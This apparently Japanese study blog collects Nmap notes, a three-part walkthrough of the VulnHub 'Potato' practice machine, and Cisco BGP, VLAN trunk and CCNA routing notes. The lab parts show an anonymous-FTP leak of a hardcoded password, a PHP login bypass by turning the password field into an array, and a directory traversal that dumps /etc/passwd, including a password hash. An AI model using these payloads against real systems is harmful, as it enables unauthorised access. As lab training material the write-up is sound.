Nmap のまとめ

Nmapのまとめ

Nmapとは

ネットワーク探索やセキュリティ監査を目的とした、オープンソースのネットワークスキャナ

主な機能
1,ホスト検出
ネットワーク上のアクティブなホストを特定します。

2,ポートスキャン
ホスト上で開いているポート、閉じているポート、フィルタリングされているポートを確認します。

3,サービス検出
実行中のサービスやそのバージョンを特定します。

4,OS検出
ホストが使用しているオペレーティングシステムや、そのバージョンを推測します。

5,スクリプトエンジン (NSE)
セキュリティ診断や脆弱性スキャン、マルウェア検出などの自動タスクを実行できます。

6,ネットワークマッピング
ネットワークトポロジーを可視化します。

ローカルNWのSCAN

コマンド
・スキャン対象のIPアドレス範囲を指定
・-sn (旧 -sP): ホスト検出のみを行い、ポートスキャンを行いません。

nmap -sn 192.168.56.0/24

標的サーバーに対してのSCAN

・-Pn 全てのホストを「オンライン」と仮定してスキャン
・-sS  高速かつステルス性のあるポートスキャン
・-sV 開いているポートで実行中のサービスやバージョン情報を特定
・-o 標的ホストのOS情報を取得(可能であればバージョンも推定

nmap -Pn -sV -sS -O 192.168.56.105 


オプション一覧


タイミングテンプレート

ハッキングラボの作り方をやってみる POTATO③

前回はFTPで接続してファイルを獲得しました
今回はHTTPに対し得ての攻撃を行います

HTTPに対する一般的な攻撃アプローチ

1. ApacheやNginxnなどのHTTPサーバープログラムに対する攻撃
2. WordPressDrupal などよく使われているWebアプリに対する攻撃
3. 独自Webアプリに対する攻撃

1.HTTPへ接続

ブラウザを開きpotatoのIPアドレスにアクセス

Gobuster
ターゲットIPに対して自分の辞書を利用してターゲットの階層を特定する

gobuster dir -u 192.168.56.102 -w /usr/share/wordlists/dirb/common.txt 


2.Burp Suite
Burp Suite(バープスイート) は、Webアプリケーションのセキュリティテストを行うための統合ツールセット


オープンブラウザを開く

192.168.56.102/admin にアクセスし
Interceptis on にする

適当なユーザーとパスワードを入力するここでは
ユーザをadmin
パスワードをtest
にする


username=admin&password[]=testS ←[]を追加

出力された文字を書き換えてForwardボタンを押す


ディレクトリートラバーサル攻撃

Webアプリケーションのセキュリティの弱点を悪用して、本来アクセスできないファイルやディレクトリに不正アクセスする攻撃手法
potatoは
../../../../../etc/passwd
で入れる

log_test1 の部分を
file=../../../../../etc/passwd

に書き換えてForwardを押す

ブラウザに移動するとパスワードリストが表示されている

Contenu du fichier ../../../../../etc/passwd :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
proftpd:x:112:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:113:65534::/srv/ftp:/usr/sbin/nologin
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

パスワードリストを獲得しました今回はここまで

ハッキングラボの作り方をやってみる POTATO②

前回はNMAPを利用した、ポートスキャンを行い
ssh http ftpなどのポートが開いていることを確認した
今回はそのポートへの攻撃を行っていく

1.FTPにアクセス
ポートSCANの情報からAnonymousFTPであることがわかる

※AnoymousFTPはユーザー名「anonymous」でログインできる パスワードは何でもいい
FTPに接続

ftp 192.168.56.102 2112

lsコマンドで同階層のファイルやフォルダを確認する

上記から
welcome.msg
index.php.bak
があることがわかった
2つのデータの内容を取得する。

get index.php.bak
get welcom.msg



kaliに戻りデータを確認する
□welocme.msg

file welcome.msg  
more welcome.msg 


□index.php.bak

file index.php.bak
cat index.php.bak


上記よりデフォルトパスワードがpotato であることがわかる

<?php

$pass= "potato"; //note Change this password regularly   ←パスワード

ユーザーはadminであることもわかる

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{


今回はここまで

ハッキングラボの作り方をやってみる POTATO①

ハッキングラボの作り方 完全版

今回からハッキングラボの作り方を進めていき、学習した内容をまとめていこうと思います。
また、本書ではPrrotOSで進められますが私はKalilinuxが好きなので可能な限りkalilinuxで進めていこうと思います。


本書では座学という項目がありますが今回は実際のターゲットマシーンのインストール完了から進めていきます。

1.マシーンの準備

下記よりPotatoのダウンロード
Potato
URL https://www.vulnhub.com/entry/potato-1,529/

vboxpotato


Potatoとkaliともにネットワーク設定をホストオンリーアダプターに設定
アダプター1以外は設定する必要はなし

2.両マシーンのネットワークの確認

まずは、kalilのIPアドレスを確認する
ターミナルを開き

ip a


netdiscover を利用してホストをスキャンする

sudo netdiscover -i eth0 -r 192.168.56.0/24


192.168.56.1 ホストOS
192.168.56.100 DHCPサーバー
192.168.56.102 Potate OS

確認のためping を打っておく

ping 192.168.56.102

3.偵察 NMAP
□Nmap の使い方
オプションコマンド

  • ソフトウェア名とバージョンを表示 → -sV
  • スキャン前に疎通確認なし → -Pn
  • 全ポート対象 ※デフォは一般的なポートのみサポートするため → -p-
  • スキャン結果を指定ファイルに出力 → -oN


Potato をスキャンする

sudo nmap -sC -sV -Pn -p- 192.168.56.102 -oN portscan_result.txt

22/tcpSSH
80/tcp → HTTP
2112/tcpFTP

が開いていることが確認できる次から空いているポートに接続していく

BGP ルーター 1対1 構成

BGPの基本設定

設定イメージ


・インターフェース設定
R1への設定

interface GigabitEthernet8
ip address 100.0.0.1 255.255.255.0
duplex auto
speed auto

interface Vlan1
ip address 192.168.0.1 255.255.255.0

R2への設定

interface GigabitEthernet8
ip address 100.0.0.2 255.255.255.0
duplex auto
speed auto

interface Vlan1
ip address 172.16.0.1 255.255.255.0


・BGPの設定
R1への設定

router bgp 100
bgp log-neighbor-changes
network 192.168.0.0
neighbor 100.0.0.2 remote-as 200


R2への設定

router bgp 200
bgp log-neighbor-changes
network 172.16.0.0 mask 255.255.255.0
neighbor 100.0.0.1 remote-as 100

確認コマンド

show ip bgp 
show ip bgp neighbors
show ip bgp summary 
show ip route 


・show ip route

R2#show ip route
Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP
       a - application route
       + - replicated route, % - next hop override


・show ip bgp

R2# show ip bgp
BGP table version is 5, local router ID is 172.16.0.1
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
              r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,
              x best-external, a additional-path, c RIB-compressed,
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found

     Network          Next Hop            Metric LocPrf Weight Path
 *>  172.16.0.0/24    0.0.0.0                  0         32768 i
 *>  192.168.0.0      100.0.0.1                0             0 100 i

cisco 891を使用した場合、ルーターに端末およびL2SWなどが接続されていなければルーティングテーブルに記載が乗らない

CISCOスイッチのトランクポートVLAN設定

Cisco 機器でのトランクポート接続設定

トランクポートテスト

■SW1 への設定
・VLANの設定

interface Vlan10
 ip address 192.168.10.251 255.255.255.0

interface Vlan20
 ip address 192.168.20.251 255.255.255.0

・インターフェースへの設定

interface GigabitEthernet0/1
 switchport access vlan 20
 switchport mode access

interface GigabitEthernet0/8
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 10,20
 switchport mode trunk

■SW2への設定
・VLANの設定

interface Vlan10
 ip address 192.168.10.250 255.255.255.0

interface Vlan20
 ip address 192.168.20.250 255.255.255.0

・インターフェースへの設定

interface GigabitEthernet0/1
 switchport access vlan 10
 switchport mode access

interface GigabitEthernet0/8
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 10,20
 switchport mode trunk

CCNA ダイナミックルーティング まとめ

■ダイナミックルーティングの種類
・RIP(Routhing Information Protocol )
・OSPF(Open Shortest Path First)
・EIGRP(Enhanced Interior Gateway Routing Protocol)
・BGP(Border Gate Protocol)
・IS-IS(Intermediate System to Intermediate System)



■各ルーティングプロトコルで共通の用語
・メトリック
・アドバタイズ

・メトリック
宛先NWまでの距離を表す
ルーティングをする際に最もメトリックの値が小さいルートが優先され、ルーティングテーブルに登録される

ルーティングごとのメトリックスの値
RIP  → ホップ数(ルータをまたぐ個数)
OSPF → 帯域幅から計算するコスト
EIGRP → 帯域幅、遅延、信頼性、負荷、MTUを使う複合メトリック

・アドバタイズ
ルートの情報を隣接ルータに通知
ルーティングプロトコルごとにアドバタイズの方法は異なる



■ルーティングプロトコルの分類
大きく2つに分類される
・IGP(Interior Gateway Protocol)
・EGP(Exterior Gateway Protocol)


・IGP
AS(自立システム:Autonomous System)で経路情報を交換するためのルーティングプロトコル
ASとは組織が運用しているルータやネットワークをひとまとめにしてASという単位で考えられる
ISPもこのASにあたる
RIP、OSPF、EIGRP が分類される


・EGP
AS間での経路情報をやり取りすためのプロトコル
BGPに含まれる
BGPとはインターネット上で利用されるルーティングプロトコル



アルゴリズムによる分類
・ディスタンスベクタ型
・拡張ディスタンスベクタ型
・リンクステート型

・ディスタンスベクタ型
ルーティングテーブルの情報を交換する
距離と方向をもとにベルマンフォード法というアルゴリズムを使って宛先までの最適ルートを選ぶ
距離(ディスタンス)と方向(ベクトル)が基になる
RIPが分類される
コンバージェンス(ルート情報が行き渡るまで)は遅く、ルーターへの負荷は小さい


・拡張ディスタンスベクタ型(ハイブリット型)
アルゴリズムDUALを使用
IGRPEが分類される
コンバージェンス(ルート情報が行き渡るまで)は早く、ルーターへの負荷はリンクステートよりも小さい


・リンクステート型
ルータが自身のインターフェースの情報(リンクステート)を交換する
SPFアルゴリズム
ルーティングテーブル自体ではなく、テーブルを作成するための計算材料を交換するイメージ
OSPFIS-ISが分類される
コンバージェンス(ルート情報が行き渡るまで)は早く、ルーターへの負荷は大きい